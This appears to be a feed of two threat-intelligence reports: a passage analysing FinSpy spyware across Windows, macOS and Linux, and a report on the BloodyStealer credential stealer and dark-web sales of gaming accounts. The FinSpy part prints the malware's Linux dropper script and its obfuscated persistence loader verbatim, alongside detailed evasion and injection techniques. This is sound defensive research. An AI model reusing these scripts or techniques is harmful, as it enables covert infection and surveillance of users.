The reply to the initial POST request contains a shellcode that we called a Security Shellcode. On receiving it, the Pre-Validator:

  • Decrypts and executes the received Security Shellcode
  • Sends the shellcode execution results to the C2 server via a POST request.
  • Receives the next Security Shellcode from the C2 server and repeats the steps above.

The nature of these shellcodes indicates that they are used to fingerprint the system and verify that it is not used for malware analysis. It is important to highlight that the shellcodes only collect the data, all the checks are performed server-side. In case a shellcode uploads suspicious execution results (e.g. the Pre-Validator is running on a virtual machine), the server provides a shellcode that terminates the Pre-Validator.

The received shellcodes are protected with either FinSpy Mutator, an obfuscator resembling OLLVM or both these protectors. In total, we observed 33 Security Shellcodes provided by the server (listed in execution order):

Shellcode # Description 1 Attempts to detect a hypervisor with the CPUID (EAX = 1) instruction. If detected, returns the hypervisor name (EAX = 0x40000000), otherwise returns zero bytes. 2 Checks whether the current process needs to be impersonated (for example, if an unprivileged user runs the backdoored application as administrator). 3 Returns the user’s profile folder (e.g. C:\Users\username) 4 Returns the short form of the user’s profile folder (e.g. C:\Users\abcdef~1) 5 Returns the type of the drive containing the backdoored application (e.g. removable drive) 6 Returns process names of the current process tree (i.e. the current process, the parent process, the grandparent process, etc.) 7 Returns the path to the ‘Program Files’ folder. 8 For the system drive, returns:

  • Overall available space
  • Space available to current user (may be less than overall available space due to quotas)
  • Disk capacity
9 Returns the path to the user’s temporary folder. 10 Returns the list of network adapter types, IP and MAC addresses assigned to them. 11 Returns the list of running processes 12 Returns ProcessDebugPort value returned by NtQueryInformationProcess for current process. 13 Returns ProcessDebugObjectHandle value returned by NtQueryInformationProcess for current process. 14 Returns TotalNumberOfObjects and TotalNumberOfHandles values of objects created by NtCreateDebugObject. 15 Returns the current user’s SID. 16 Returns the list of images (EXE/DLL files) loaded into the current process. 17 Returns OSVERSIONINFOEXW and SYSTEM_INFO structures. 18 Returns information about the machine’s BIOS. 19 Returns the list of object names in the \GLOBAL?? directory. 20 Returns information about the operating system. 21 Returns the current user’s name, computer name, path to the current executable, its name and command line path. 22 Returns the list of loaded drivers. 23 Returns the list of PDB paths of loaded drivers 24 Returns the first 16 bytes of the first exported Zw* function of ntdll.dll (ZwAcceptConnectPort) 25 Verifies the signature of the parent process. 26 Returns information about connected Plug and Play devices. 27 Returns information about the computer system (from SELECT * FROM Win32_ComputerSystem WMI query) 28 Returns the list of connected PCI devices. 29 Returns names of shortcuts in the Desktop directory. 30 Returns the list of top-level and child window class names not owned by the current or parent process. 31 Returns the list of top-level and child window titles not owned by the current or parent process. 32 Returns the current domain SID. 33 Cleans  API functions potentially hooked by security solutions: Nt* functions in ntdll.dll and all exported functions in kernel32.dll, kernelbase.dll and advapi32.dll.

Once all security checks are passed, the C2 server sends a shellcode that downloads and runs the Post-Validator Installer.

The Post-Validator Installer

This module is an obfuscated shellcode. It:

  • Creates a subdirectory (name differs between samples) in the C:\ProgramData directory
  • Drops two files in the newly created subdirectory:
    • The Post-Validator Loader DLL
    • A shellcode with the Post-Validator itself.

    The file names are hardcoded in the dropper but are unique for each sample and appear to be randomly generated.

  • Creates a scheduled task that runs at system startup and launches the Post-Validator Loader via regsvr32 (task action: %windir%\syswow64\regsvr32.exe /s “<path to the Loader DLL>”)

After the Post-Validator is installed, the Pre-Validator shuts down.

The Post-Validator Loader

The Post-Validator Loader is a huge (3-9 MB) obfuscated DLL. The Task Scheduler launches it at system startup through regsvr32.exe. Its main function is several megabytes in size, but despite that, its purpose is simple: read and execute a shellcode that is stored in the same directory as the Post-Validator Loader.

Sample scheduled task properties

The launched shellcode decrypts the Post-Validator (it is stored in the same file with the shellcode) with RC4 (key: domain SID) and reflectively loads it.

The Post-Validator

The Post-Validator is a DLL obfuscated with VMProtect. This module uses the same communication protocol that is used in the main Trojan component:

  • The TLV (type-length-value) format to exchange data with C2 servers
  • TLV type constants that are found in the Trojan
  • The Trojan’s Cryptography Library to encrypt/decrypt exchanged data

On startup, the Post-Validator verifies that it is not launched inside a sandbox environment. It then starts communication with C2 servers specified in its configuration, sending heartbeat messages with 15-minute intervals. Each heartbeat includes brief information about the victim machine.

The heartbeat reply may contain different commands.

TLV ID Command purpose (inferred from the main Trojan) Implementation of command in the Post-Validator 0x8030A0 Retrieves the implant configuration. 0x8070A0 Retrieve the list of files with data prepared for exfiltration. Sends back three strings in a TLV: 243a, 201a and 201b (‘virtual’ data file names) 0x8072A0 Upload a prepared file with a specified name to the C2 server. If the prepared file name is:

  • 201a, obtains the list of processes and sends it to the C2 server.
  • 201b, gets the list of recent files and sends it to the C2 server.
  • 243a, takes a screenshot and uploads it to the C2 server.
0x8054A0, 0x805BA0, 0x8056A0, 0x805DA0, 0x8057A0, 0x805EA0 Commands are used to download and install plugins. Commands are used to download and run the Trojan Installer. 0x801530, 0x801630, 0x801730, 0x8018A0 Uninstall the Trojan. Uninstall the Pre-Validator. 0x7502A0 Disconnect from the C2 server.

When the Post-Validator receives the Trojan Installer (which is a DLL), it:

  • Reflectively loads and launches the Installer
  • Depending on the configuration, either uninstalls itself (by deleting its directory and the scheduled task) or goes to sleep until system reboot.

Based on the data collected by the Post-Validator, it is most likely that:

  • The Post-Validator is deployed to ensure that the infected victim is the intended one.
  • The C2 server operator manually analyzes data received from the victim and commands to either remove the Post-Validator or infect the machine with the Trojan.

The Post-Validator is another obstacle for researchers. Even if they manage to pass all the checks of the Pre-Validator, the C2 server operator may refuse to infect a suspicious machine.

The Trojan Installer

The Installer creates the working directory (path: %localappdata%\Microsoft\<two concatenated English words>) and sets it as being accessed, modified and created a year earlier. Afterwards, it drops the following files to it:

File name Description <4 random hexadecimal characters>.cab The setup configuration file, which is encrypted with RC4 (key: the name of the working directory). Names differ between samples The encrypted VFS file. The Initial Loader. msvcr90.dll The Trojan bundle, encrypted with XOR and compressed with aPLib. msvcr120d.dll 64-bit Trojan loader. The executable is prepended with 0x4000 random bytes and encrypted with RC4 (key: machine GUID) msvcr140d.dll 32-bit Trojan loader, also prepended with random bytes and encrypted with RC4.

The timestamps of dropped files are set to one year earlier than the current date. Once the working directory is prepared, the Installer launches the Trojan.

The Initial Loader

The Initial Loader is a DLL that is launched on every startup by rundll32.exe (the Trojan adds it to the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run key, the value name is unique for each sample). The size of the Initial Loader exceeds 5 MB. It is obfuscated with a protector resembling the open source OLLVM obfuscator. Despite its size, the only functionality of the Initial Loader is to decrypt and launch the 32-bit Trojan Loader.

The Trojan Loader

The 32-bit Trojan Loader, which is launched regardless of the victim machine architecture, checks if it is running on a 64-bit system. If so, it reads the 64-bit loader (msvcr120d.dll) from disk and runs it as a shellcode.

The Trojan Loader (either the 32-bit or the 64-bit one):

  • Reads the Trojan bundle file (dll), decrypts it with XOR and unpacks with aPLib.
  • Injects the Trojan DLL into exe by either calling CreateRemoteThread or using the KernelCallbackTable technique.
MacOS Infection

The macOS version of the malware is not as complicated as the Windows one. It is written in Objective-C. An obfuscator similar to OLLVM is used to protect FinSpy for Mac. Additionally, Objective-C selectors that may reveal information about method names contain junk.

The macOS version of FinSpy has the following components:

  • The Installer. Unlike the Windows version that features numerous installers, the macOS version has only one installer type.
  • The Initial Loader.
  • The Trojan Loader.
  • The Trojan that consists of the Orchestrator, the Cryptography Library and plugins.
The Installer

When the victim executes the malicious app, an executable located at the <malicious application name>.app/Contents/MacOS/installer path is launched. On startup, it checks the environment for debuggers and virtual machines. It drops the following files to the machine:

Path Description /Library/Frameworks/Storage.framework A directory with the Trojan inside /private/etc/logind The Trojan loader that runs as a launch agent. This file is executed on startup.


The configuration of the logind agent. The Trojan needs it in order to maintain persistence.

All copied files are timestomped (modification date is the timestamp of Finder.app). The Installer sets their owner to root:wheel. It additionally sets the SUID and SGID bits of the /private/etc/logind file.

By copying the logind.plist file to the /Library/LaunchAgents directory the Installer configures the Trojan to load at startup.

The Installer then launches the logind executable (Trojan Loader) with the launchctl utility.

The Initial Loader

The Initial Loader (/private/etc/logind) launches every time when the operating system boots up. Once launched, The Initial Loader launches the Trojan Loader (/Library/Frameworks/Storage.framework/Contents/MacOS/logind).

The Trojan Loader

The Trojan Loader has a constructor function that is invoked before main. It sets hooks on functions that load application bundles. These hooks allow the Trojan to load plugins while decrypting them on the fly.

Once the hooks are placed, the Trojan Loader launches the Orchestrator (/Library/Frameworks/Storage.framework/Contents/Resources/dataPkg). The Orchestrator (as well as plugins) are packed with aPLib and encrypted with AES. When the Orchestrator is unpacked, it is reflectively loaded.

Linux Infection

The Linux version of FinSpy is protected with an obfuscator similar to OLLVM. It has the same components as in the macOS version (Initial Loader, Trojan Loader, Orchestrator and plugins).

The Installer

Infection vectors used to deliver FinSpy for Linux are unknown. The leaked FinFisher support questions database suggests physical access could be used to infect machines:

A question related to Linux infection which was submitted to FinFisher support in 2013

The initial stage of the Installer is the following shell script:

#!/bin/sh ELF_MAGIC=7f arch=`od -j4 -N1 -An -t u1 < /bin/sh | tr -d ' '` case $arch in 1) ARCHIVE=`grep --text --line-number '^__x86xx__$' "$0" | cut -d ':' -f 1` ;; 2) ARCHIVE=`grep --text --line-number '^__x64xx__$' "$0" | cut -d ':' -f 1` ;; *) exit 0 ;; esac ARCHIVE=$((ARCHIVE+1)) tail -n +$ARCHIVE $0 > /tmp/udev2 && chmod +x /tmp/udev2 if [ -n "$SUDO_USER" ]; then su -c /tmp/udev2 $SUDO_USER else /tmp/udev2 fi if [ "$?" -eq 0 ];then rm -rf "$0" fi exit 0

This script determines the victim machine architecture. Depending on it, the script extracts either the 32-bit or the 64-bit second stage installer to the /tmp/udev2 file and launches it. Both versions of the installer executable are appended to the Bash script. The 32-bit version is delimited from the script with the __x86xx__ string, and the __x64xx__ string delimits the 64-bit version from the 32-bit one.

The launched executable first checks if it is running in a virtual machine with:

  • The CPUID assembly instruction
  • The lspci command
  • The dmesg command

In case a virtual machine is detected and the installed Trojan cannot be launched in a VM, the installer exits. The working directory is located at the ~/<directory #1>/<directory #2> path.  Directory #1 and #2 can take the following names that are selected randomly:

Directory #1 names Directory #2 names .cache
.ssh .config

The installer then drops the Trojan to the working directory. The name of the Trojan Loader file is one of the following:

  • cpuset
  • kthreadd
  • ksnapd
  • udevd
  • dbus-daemon
  • atd
  • crond
  • hald

The plugin files have the <module ID>.so name, and the names of their configurations are <module ID>C.dat.

After dropping the files, the Installer sets up persistence. On KDE, it copies a Bash script to either ~/.kde4/Autostart/udev2.sh or ~/.kde/Autostart/udev2.sh. On other desktop environments , it appends the same script to the ~/.profile file.

The Initial Loader

The Initial Loader is the following shell script:

if [ ! -n "$CS_FONT" ]; then # Load fonts by id CS_FONT_RID="<hexadecimal-encoded working directory path>" CS_FONT_ID="<hexadecimal-encoded Trojan Loader filename>" CS_FONT_COL="6364" CS_FONT_COLF=`echo ${CS_FONT_COL} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'` CS_FONT_SID=`echo ${CS_FONT_RID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'` CS_FONT_LOAD=`echo ${CS_FONT_ID} |sed 's/../& /g' |sed 's/ / p /g' |awk '{print "16i "$0}'|dc 2>/dev/null|awk '{printf("%c",$0)}'` if [ ! -n "$CS_FONT_COLF" ]; then CS_FONT_COLF=$(for i in `echo ${CS_FONT_COL} |sed 's/../& /g'`; do echo "000000 $i" | xxd -r; done) CS_FONT_SID=$(for i in `echo ${CS_FONT_RID} |sed 's/../& /g'`; do echo "000000 $i" | xxd -r; done) CS_FONT_LOAD=$(for i in `echo ${CS_FONT_ID} |sed 's/../& /g'`; do echo "000000 $i" | xxd -r; done) fi ${CS_FONT_COLF} ${CS_FONT_SID} && ${CS_FONT_LOAD} > /dev/null 2>&1 && ${CS_FONT_COLF} - > /dev/null 2>&1 unset CS_FONT_ID unset CS_FONT_COLF unset CS_FONT_SID unset CS_FONT_LOAD fi

This script decodes the directory path and the Trojan Loader from hexadecimal and executes the “cd <working directory path> && ./<loader filename> > /dev/null 2>&1 && cd – > /dev/null 2>&1″ command, thus launching the Trojan Loader.

The Trojan Loader

When launched, the Trojan Loader:

  • Checks if it is being debugged with the ptrace function and exits if it is.
  • Reads the Orchestrator file from disk and unpacks it with aPLib.
  • Reflectively loads and launches the Orchestrator.
The Trojan Overview of the Windows Trojan components

The Windows version of the Trojan consists of the following components:

  • The Hider, the first launched component. It starts the Orchestrator and conceals memory areas that contain the Trojan components’ code and data.
  • The Orchestrator, a DLL which is responsible for managing installed plugins and preparing data to be sent to the C2 server
  • Plugins, DLL modules that perform malicious activities on the victim machine
  • The virtual file system (VFS) which allows the Orchestrator and other plugins to seamlessly interact with plugins and their configurations
  • The ProcessWorm module which intercepts system activity. Similar to a network worm which infects machines in the local network, the ProcessWorm is injected into all running processes. Once a process is infected, the ProcessWorm spreads to its children.
  • The Communicator module which sends data to the C2 server and receives replies
The Hider

The Hider is the first launched component of the Backdoor. It is a valid PE file protected with the FinSpy VM. On startup, the Hider loads a clean copy of ntdll.dll from disk, which is used when calling API functions from this library.  After that, it decrypts the Orchestrator, which is stored in the Hider’s resource section. It is encrypted with a 256-byte RC4 key. which is unscrambled at runtime using addition, subtraction and XOR operations. The key may vary from one sample to another.

A snippet of the RC4 key generation function

After decrypting and unpacking the Orchestrator, the Hider reflectively loads it.

The hiding functionality

Before transferring execution to the Orchestrator’s entry point, the Hider activates its concealing functionality. It works as follows:

  • The Hider encrypts the Orchestrator’s pages with a cipher based on XOR and ROL operations and assigns the PAGE_NOACCESS attribute to them
  • When the Orchestrator accesses hidden pages, the operating system generates an ACCESS_VIOLATION exception
  • The Hider detects the generated exception through the hook of the KiUserExceptionDispatcher function, which handles dispatching of all exceptions
  • The hooked function decrypts the hidden page and assigns it the PAGE_EXECUTE_READWRITE attribute, thus handling the exception
  • The Hider conceals the unhidden pages again within 30 seconds.

The Hider also protects plugins loaded by the Orchestrator.

The Orchestrator

The Orchestrator is the core module of the Trojan that controls all plugins and manages C2 server communications.

When the Orchestrator starts up, it:

  • Hooks its own IAT (import address table) to alter the behavior of WinAPI file manipulation functions. The Orchestrator needs these hooks to interact with the VFS.
  • Sets up persistence by creating an entry in the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key.
  • Reads the Orchestrator configuration and loads installed plugins.

An interesting fact about the Orchestrator is that it erases its PE structures and code of initialization procedures. This trick is designed to make it more difficult to detect this component in memory and conduct analysis of its dumps.

Once initialized, the Orchestrator launches its following components, which we will detail below:

  • The application watcher that looks for specific processes and notifies the C2 server when they are started or stopped
  • The ProcessWorm injector that injects the ProcessWorm into processes that are not infected with this component
  • The recording manager thread that controls data to be exfiltrated to the C2 server
  • The C2 server communicator thread.
The application watcher

The application watcher regularly examines all the processes on the system, looking for applications specified in the Orchestrator configuration. When it detects a starting first (or a stopping last) instance of a process from the list in the configuration, an appropriate event will be reported to the C2 server during heartbeat time. It is notable that the application watcher acquires handles for all running processes on the system, which results in either winlogon.exe or explorer.exe obtaining numerous process handles.

Process handles acquired by explorer.exe on a clean system (left) and on an infected system with the Orchestrator residing inside the explorer.exe process (right)

The ProcessWorm injector

The ProcessWorm injector thread ensures that the ProcessWorm is running in every process which can be accessed by the Orchestrator. Just like the application watcher, the injector regularly obtains the list of running processes. For every process, it verifies whether the ProcessWorm is running inside it and injects the ProcessWorm if needed.

The recording manager

Over the course of their execution, plugins may save recording files in the working directory (e.g. keylogs, screenshots or printed files). The recording manager is tasked with two duties:

  • Periodically checking whether there are recording files available to be sent to the C2 server
  • Preparing recording files to be uploaded when their download is requested by the C2 server.

Every recording file stored in the working directory has the following name format:

<plugin prefix><recording type prefix><five-digit random number>.<extension>

The plugin prefix, the extension and the recording type prefix depend on the ID of the plugin that created the recording. The Orchestrator has arrays which converts IDs to prefixes and extensions.

Possible plugin prefixes: auth, avi, cert, crt, com, mem, sxs, msvc, dmem, mtx, net, nls, odbc, ole, pnp, ssl, win, vm, vsc, ntos, user, run, cvs, cvg, con, ssy

Recording type prefixes: inf, sys, doc, mem, vmx, net, run, dat, dll.

Filename extensions used: doc, vmx, net, xls, zip.

The C2 server communication thread

This thread is responsible for maintaining communication with the C2 server. In particular, it contacts the C2 server, sends heartbeats messages and receives commands. The thread dispatches received commands to plugins and sends their execution results back to the server.

Below is a list of the Orchestrator commands:

Command ID Description Commands related to recordings 0x8072A0 Upload a recording file with a specified name to the C2 server. 0x8076A0, 0x807AA0 Delete a recording with a given filename from the system. 0x8078A0 Retrieve the list of all the recordings present on the victim machine. 0x8070A0 Retrieve the list of recordings made by a plugin with the specified ID. Commands related to the configuration 0x8030A0 Send the current configuration to the server. 0x8032A0 Change the Orchestrator configuration. Commands related to plugins 0x8009A0 Send a list of installed plugins to the server. 0x8054A0, 0x805BA0 Commence the plugin installation process by creating a temporary file in the working directory. 0x8056A0, 0x805DA0 Append a plugin body chunk to the temporary plugin file created by the previous command. 0x8057A0, 0x805EA0 Finalize the plugin installation process. This command moves the contents of the temporary file to the virtual file system and loads the new plugin. 0x8059A0 Uninstall a plugin from the machine. This command unloads the specified plugin and removes it from the VFS. Miscellaneous commands 0x8018A0 Uninstall the backdoor. This command wipes all the files and registry keys created by the backdoor, as well as restores the MBR and the EFI Windows Boot Manager (provided they were infected) from backups. 0x807DA0 Close the current C2 server connection. 0x7502A0 Terminate all livestreams. The Communicator module

The malware configuration includes one or multiple C2 servers which it can connect to. In case one of the servers is down, the backdoor uses one of the fallback addresses. FinSpy does not communicate with C2 servers directly from winlogon.exe or explorer.exe. Instead, it spawns a default browser process with a hidden window and injects the Communicator module in it. This is done to make communications look legitimate.

The Virtual File System component

The Virtual File System is the place where all the plugin executables and their configurations hide. All the virtual files are stored in a single “real” file, which is encrypted with RC4 and has the following structure:

File offset Description 0x0 CRC32 checksum of the file (the checksum computation starts from offset 4) VFS entry #1 0x4 ID of the plugin corresponding to the file. The Orchestrator configuration is stored on the VFS with ID 0xFFFFFFFE. 0x8 0x0 if the file is a plugin configuration, 0x2 if it is a plugin executable. 0xC File size. 0x10 File size again. 0x14 File body bytes. VFS entry #2 The last VFS entry has the ID equal to 0xFFFFFFFF and zero size. It serves as the VFS end marker. EndOfFile – 0x10 0xFFFFFFFF  EndOfFile  – 0xC 0x0 EndOfFile – 0x8 0x0 EndOfFile – 0x4 0x0

The VFS is accessed via file management functions hooked by the Orchestrator. For example, virtual files can be created or opened via the hooked CreateFileW API. The return value of the hooked file creation function is a VFS handle, which is a number of the format 0xFF000XXX.

The ProcessWorm

The malware injects the ProcessWorm into all processes running on the system. Its main purpose is to extract specific information about running processes and send it to the Orchestrator or the plugins.

The ProcessWorm is a DLL wrapped in a shellcode and obfuscated with FinSpy VM. The ProcessWorm can be injected to processes in two ways – either by spawning a remote thread with the shellcode or by creating an APC (Asynchronous Procedure Call) with the procedure address pointing to the start of the shellcode. The latter one is used when the ProcessWorm is injected into newly created processes.

The loader code behaves differently depending on the chosen injection type. While the loader used with the first injection method is simple, the one invoked in case of APC injections is rather interesting. The asynchronous procedure places a hook on the NtTestAlert function and then exits. When the process executable is loaded, ntdll.dll will call the NtTestAlert function. Its modified version will first call the original NtTestAlert function and then invoke the ProcessWorm reflective loader.

The ProcessWorm reflective loader comes with a twist. When it processes imports, it does not assign a function pointer to each entry in the IAT. Instead, IAT entries point to buffers of randomly generated junk code. This code obtains the address of the destination API function by XOR-ing two numbers and then jumps to it.

Example of junk code created by the ProcessWorm loader, useful instructions are highlighted in yellow

While executing its worm-like activity, the ProcessWorm injects itself into processes created by the process that are already infected with this component. To do that, it places a hook on the CreateProcessInternalW API function. If the new process is not created with a DEBUG_PROCESS or a DEBUG_ONLY_THIS_PROCESS flag, the hooked process creation function clears a possible hook of the  NtQueueAPCThread function and then uses it to create an APC procedure in the new process. When the new process starts up, the ProcessWorm will be loaded with the help of the APC injection loader.

Depending on the malware configuration, the ProcessWorm may hide the presence of FinSpy on the victim machine. It can conceal the malware’s working directory, services, registry keys, C2 server addresses, as well as filter out event logs related to the malicious activity. The ProcessWorm achieves stealth by hooking low-level API functions (such as NtEnumerateValueKey or NtQuerySystemInformation)

The rest of the malicious activity is dispersed across hooks of various WinAPI functions. They are placed in order to provide information to the plugins bundled with the malware. Examples of such information are typed keystrokes or documents sent to the printer.

The macOS and Linux Orchestrator

The macOS/Linux orchestrator is a simplified version of the Windows orchestrator. Unlike the Windows version, it does have the following components:

  • The Virtual File System (plugins and configurations are stored in separate files)
  • The ProcessWorm (its functionality is embedded into plugins)
  • The communicator module (the Orchestrator exchanges data with C2 servers without additional modules)
  • The application watcher (the Orchestrator does not report started or stopped processes to C2 servers)

The functionalities of the Orchestrator remain the same: exchanging information with the C2 server, dispatching commands to plugins and managing recording files.

Plugins overview

In the chart below we summarize information about plugins.

Plugin type and ID Features FileManager (0x02) Upload, download, search, delete files. Create file listing recordings CommandShell (0x04) Create remote shell sessions TaskScheduler (0x05) Create different types of recordings (file listings, microphone, screen, webcam) at a specified time by dispatching commands to appropriate plugins MicRecorder (0x10) Livestream the victim’s microphone or capture its recordings. KeyLogger (0x12) Livestream or record keystrokes SkypeStealer (0x14) Intercept Skype contacts, chats, calls and transferred files FileModificationRecorder (0x16) Record files which have been modified FileAccessRecorder (0x17) Record files which have been accessed PrintedFilesRecorder (0x18) Steal files which are printed by the victim FileDeletionRecorder (0x19) Record removed files ForensicLauncher (0x20) Gather forensic data by downloading and executing specific utilities. (Windows only) VoIPRecorder, VoIPLite (0x21, 0x26) Eavesdrop on, and take screenshots during, online conversations. (Windows only) ClickRecorder (0x22) Capture the screen area around mouse click locations WebcamRecorder (0x23) Take webcam images with a specified frame rate, and livestream or record them. ScreenRecorder (0x24) Take screenshots with a specified frame rate, and livestream or record them. BlackberryInfect (0x25) Infect Blackberry mobile devices with a malicious application. (Windows only) EmailRecorder (0x27) Steal email from Thunderbird, Outlook, Apple Mail and Icedove WiFiRecorder (0x28) Monitor available Wi-Fi networks RemovableRecorder (0x29) Record files on inserted removable media CryptoKeyRecorder (0x30) Capture encryption keys: SSL keys, S/MIME certificates, GPG/PGP keychains along with their passphrases. (Windows only)

The full details of this research, as well as future updates on FinSpy, are available to customers of the APT reporting service through our Threat Intelligence Portal.


The following IoC list is not complete. If you want more information about the APT discussed here, a full IoC list and YARA rules are available to customers of Kaspersky Threat Intelligence Reports. Contact: intelreports@kaspersky.com

File Hashes


File Paths

\efi\microsoft\boot\en-us\%HEXNUMS% – on EFI disk partition
/Library/Frameworks/Storage.framework – for Mac OS version









Domains and IPs


1 Extended BIOS Data Area (https://wiki.osdev.org/Memory_Map_(x86))

BloodyStealer and gaming assets for sale

27 Září, 2021 - 12:00

Earlier this year, we covered the threats related to gaming, and looked at the changes from 2020 and the first half of 2021 in mobile and PC games as well as various phishing schemes that capitalize on video games. Many of the threats faced by gamers are associated with loss of personal data, and particularly, accounts with various gaming services.

This tendency is not unique to PC or mobile games or to the gaming industry as a whole. Nevertheless, as games offer users plenty of in-game goodies and even feature their own currencies, gaming accounts are of particular interest to cybercriminals.

In this report, we take a closer look at threats linked to loss of accounts with popular video game digital distribution services, such as Steam and Origin. We also explore the kind of game-related data that ends up on the black market and the prices.


In March 2021, we noticed an advertisement for malware named “BloodyStealer” on a Russian-speaking underground forum. According to the ad, BloodyStealer was a malicious stealer capable of fetching session data and passwords, and cookie exfiltration, and protected against reverse engineering and malware analysis in general. A buyer can use Telegram channels as well as traditional web panels for communication with the C&C. The author offered potential customers to get in touch via Telegram. The price of BloodyStealer is 700 RUB (less than $10) for one month or 3000 RUB (approx. $40) for lifetime.

The BloodyStealer ad (Source: https://twitter.com/3xp0rtblog)

The ad highlights the following features of BloodyStealer (translated from Russian as is):

  • Grabber for cookies, passwords, forms, bank cards from browsers
  • Stealer for all information about the PC and screenshots
  • Steals sessions from the following clients: Bethesda, Epic Games, GOG, Origin, Steam, Telegram, VimeWorld
  • Steals files from the desktop (.txt) and the uTorrent client
  • Collects logs from the memory
  • Duplicate logging protection
  • Reverse engineering protection
  • Not functional in the CIS

What caught our attention is BloodyStealer’s capability to fetch information related to computer games installed on an infected system. BloodyStealer targets major online gaming platforms, such as Steam, Epic Games Store, EA Origin, etc.

At the time of our investigation, the forum thread related to BloodyStealer was publicly unavailable, but the analysis of visible information on the forum revealed that discussions relating to BloodyStealer still continued in private channels. This, along with the fact that visible stealer activity had been observed since its release, suggested that the threat actor behind BloodyStealer had decided to offer its product only to VIP members of underground forums.

Kaspersky products detect the threat as Trojan-Spy.MSIL.Stealer.gen. For additional technical information about BloodyStealer (malicious techniques, YARA rules, etc.), please contact financialintel@kaspersky.com.

BloodyStealer technical details Anti-analysis

During our research, we were able to identify several anti-analysis methods that were used to complicate reverse engineering and analysis of BloodyStealer, including the usage of packers and anti-debugging techniques. As the stealer is sold on the underground market, every customer can protect their sample with a packer of their choice or include it into a multistage infection chain. We had been monitoring BloodyStealer since its announcement, so we were able to notice that the majority of the BloodyStealer samples were protected with a commercial solution named “AgileNet”.

While analyzing samples discovered in the wild, we found that some of them were protected not only with AgileNet but also with other, very popular, protection tools for the .NET environment, such as Confuser.

Victim identification, communication with the C&C and data exfiltration

BloodyStealer is capable of assigning a unique identifier to every infected victim. The identifier is created by extracting data, such as the GUID and serial number (SID) of the system. This information is extracted at runtime. Besides this identification, BloodyStealer extracts the public IP address of the C&C by requesting the information from the domain whatleaks[.]com.

The request used to get the public IP

After assigning a UID to the victim and getting the C&C IP address, BloodyStealer extracts various data from the infected machine, creates a POST request with information about the exfiltrated data, and sends it to the malicious C&C. The data itself is sent to the configured C&C server later as a non-protected ZIP archive and has the structure shown below.

The IP address configured in the infected system is used as the name of the ZIP archive.

BloodyStealer as part of a multistage infection chain

In our analysis of BloodyStealer samples, we found out how various threat actors who had acquired this product decided to use the stealer as a part of other malware execution chains, for example, KeyBase or Agent Tesla. The criminals who combined the stealer component with other malware families also protected BloodyStealer with other packers, such as Themida.

BloodyStealer as used alongside other malware families or hacking tools

Based on the price that BloodyStealer is fetching on the underground market, we can expect that it will be used in combination with other popular malware families.

Command and Control

As mentioned above, BloodyStealer sends all exfiltrated data to a C&C server. Cybercriminals can access the data by using Telegram or via a web panel. The collected data can then be sold to other cybercriminals, who in turn will try to monetize it.

BloodyStealer C&C login page (Source: https://twitter.com/3xp0rtblog)

When a criminal is logged in to the C&C web panel, they will see a basic dashboard with victim-related statistics.

BloodyStealer stats dashboard (Source: https://twitter.com/3xp0rtblog)

While pivoting through the structure used for allocating the content panel, we were able to identify the second C&C server located at


Both C&C servers are placed behind Cloudflare, which hides their original IPs and provides a layer of protection against DDoS and web attacks.


BloodyStealer is still quite new on the market when compared to other existent malware tools; however, by analyzing available telemetry data, we have found detections of BloodyStealer in Europe, Latin America and the APAC region. At the time of the investigation, we observed that BloodyStealer mostly affected home users.

Next links in the chain: darknet markets

Unfortunately, BloodyStealer is just one example of stealers targeting gamers. With many more in use, cybercriminals gather a significant number of game-related logs, login credentials, and other data, spurring a well-developed supply and demand chain for stolen credentials on the dark web. In this section, we will dig deeper into the dark gaming market and look at the types of game-related items available there.

Our experts, who specialize in understanding what goes on on the dark web, conducted research on the current state of user data as a commodity on these platforms to find out what kind of personal data is in demand, what it is used for, and how much it costs. For the purposes of this report, we analyzed active offers on twelve international darknet forums and marketplaces that use English or Russian.

Wholesale deals

Dark web sellers provide a broad variety of goods, sold both wholesale and retail. Specifically, one of the most popular wholesale products is logs.

In these examples, cybercriminals offer logs: an archive containing more than 65,000 logs for 150$ and packages with 1,000 private logs for 300$

Logs are credentials that are needed for accessing an account. These typically take the form of saved browser cookies, information about server logins, screenshots of the desktop, etc. They are the key for accessing victims’ accounts. Logs might be outdated, contain only old game sessions or even have no account-related data. That is why they need to be checked before use. In the chain of log sales, there are several roles.

Firstly, there are people who steal logs with the help of botnets or phishing schemes. These are the operators. The operators might have thousands of collected logs in their clouds, but this whole data stream needs to be validated. To process the logs, the cybercriminal needs to check whether the login and password combination is still relevant, how many days have passed since the last password or email change (that is, whether the victim has found out that the account was stolen) and check the balance. The fraudsters might do it on their own, but this may prove quite time-consuming with thousands of logs to go through. For this, there are log checkers: cybercriminals who own special tools for processing logs. The software collects statistics about processed logs, and the checker gets a share of the profits: typically, 40%.

It is possible to purchase logs per unit and process them manually or purchase in bulk and process with the help of specialized services. The average price per log is 34¢; the price per 100 logs is $17.83.

This advertiser is offering a batch of logs for $25,000 to one person but makes no mention of the volume of data

There are also fraudsters who have websites with a large coverage, offering to place links to malware as a way of distribution. In their ads on the darknet, these fraudsters attach traffic and download statistics to attract more customers.

Retail options

If the cybercriminal specializes in small sales (two to ten items), then the type of goods they offer on the darknet will include certain games, in-game items, and accounts with popular gaming platforms. Importantly, these products are typically offered at just 60-70% of their original price, so customers get a good deal on darknet markets. Some criminals can possess thousands of accounts and offer access to these at an enormous discount, as many of these accounts are useless: some cost nothing, and others have already been recovered by their original owners.

A person is offering thousands of usernames and passwords for various game platforms for just $4000

Dark web sellers offer stolen accounts, the important selection criteria being the number of games available in the account and how long ago the account was created. Games and add-ons are not cheap, and this is where cybercriminals enter the fray, offering the same popular games at significantly lower prices. In addition to Steam, accounts on gaming platforms, such as Origin, Ubisoft Store, GOG, Battle.net, also get stolen and resold.


A seller is offering in-game items. The original price is $20.5, but customers can get these illegally for $16.45.

In addition to certain games and accounts, cybercriminals also sell rare equipment from a wide range of games with a discount 30-40% off the original price. This is possible if the Steam account that owns the items has no restrictions on sending gifts to other players, e.g., no email confirmation requirement.

